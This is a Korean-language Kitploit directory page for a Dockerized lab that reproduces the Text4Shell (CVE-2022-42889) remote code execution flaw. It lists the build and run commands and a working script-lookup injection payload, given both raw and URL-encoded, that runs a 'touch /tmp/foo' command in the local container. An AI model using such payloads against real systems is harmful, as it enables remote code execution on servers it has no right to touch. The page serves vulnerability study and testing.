Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2022-42889-text4shell-docker — CVE-2022-42889 (Text4Shell) RCE 취약점 테스트용 도커화된 랩 환경 - 스크립트, DNS 및 URL 조회 접두사를 사용한 단계별 익스플로잇 지침 포함. | Kitploit
도구/GitHubGitHub/reachabilityorg/cve-2022-42889-text4shell-docker
Container SecurityVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubreachabilityorg/cve-2022-42889-text4shell-docker

cve-2022-42889-text4shell-docker

CVE-2022-42889 (Text4Shell) RCE 취약점 테스트용 도커화된 랩 환경 - 스크립트, DNS 및 URL 조회 접두사를 사용한 단계별 익스플로잇 지침 포함.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
8개월 전아직 검토되지 않음

Maven 설치 - maven-linux


  1. Maven을 설치하여 fat jar를 생성합니다.
root@kitploit:~
mvn clean install
  1. Docker 빌드
root@kitploit:~
docker build --tag=text4shell .
  1. Docker 실행
root@kitploit:~
docker run -p 80:8080 text4shell
  1. 앱 테스트
root@kitploit:~
http://localhost/text4shell/attack?search=<anything>
  1. 공격은 앞서 언급한 lookup의 접두사를 사용하는 문자열 “${prefix:name}”을 전달하여 수행할 수 있습니다:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

  1. dns 또는 url 접두사를 사용해 볼 수도 있습니다.

  2. 컨테이너 ID 확인

root@kitploit:~
docker container ls
  1. 앱에 진입
root@kitploit:~
docker exec -it <container_id> bash
  1. 위 RCE가 성공했는지 확인하려면 (/tmp 디렉토리에 foo라는 파일이 생성되었는지 확인):
root@kitploit:~
ls /tmp/
  1. 컨테이너 중지
root@kitploit:~
docker container stop <container_id>
도구 다운로드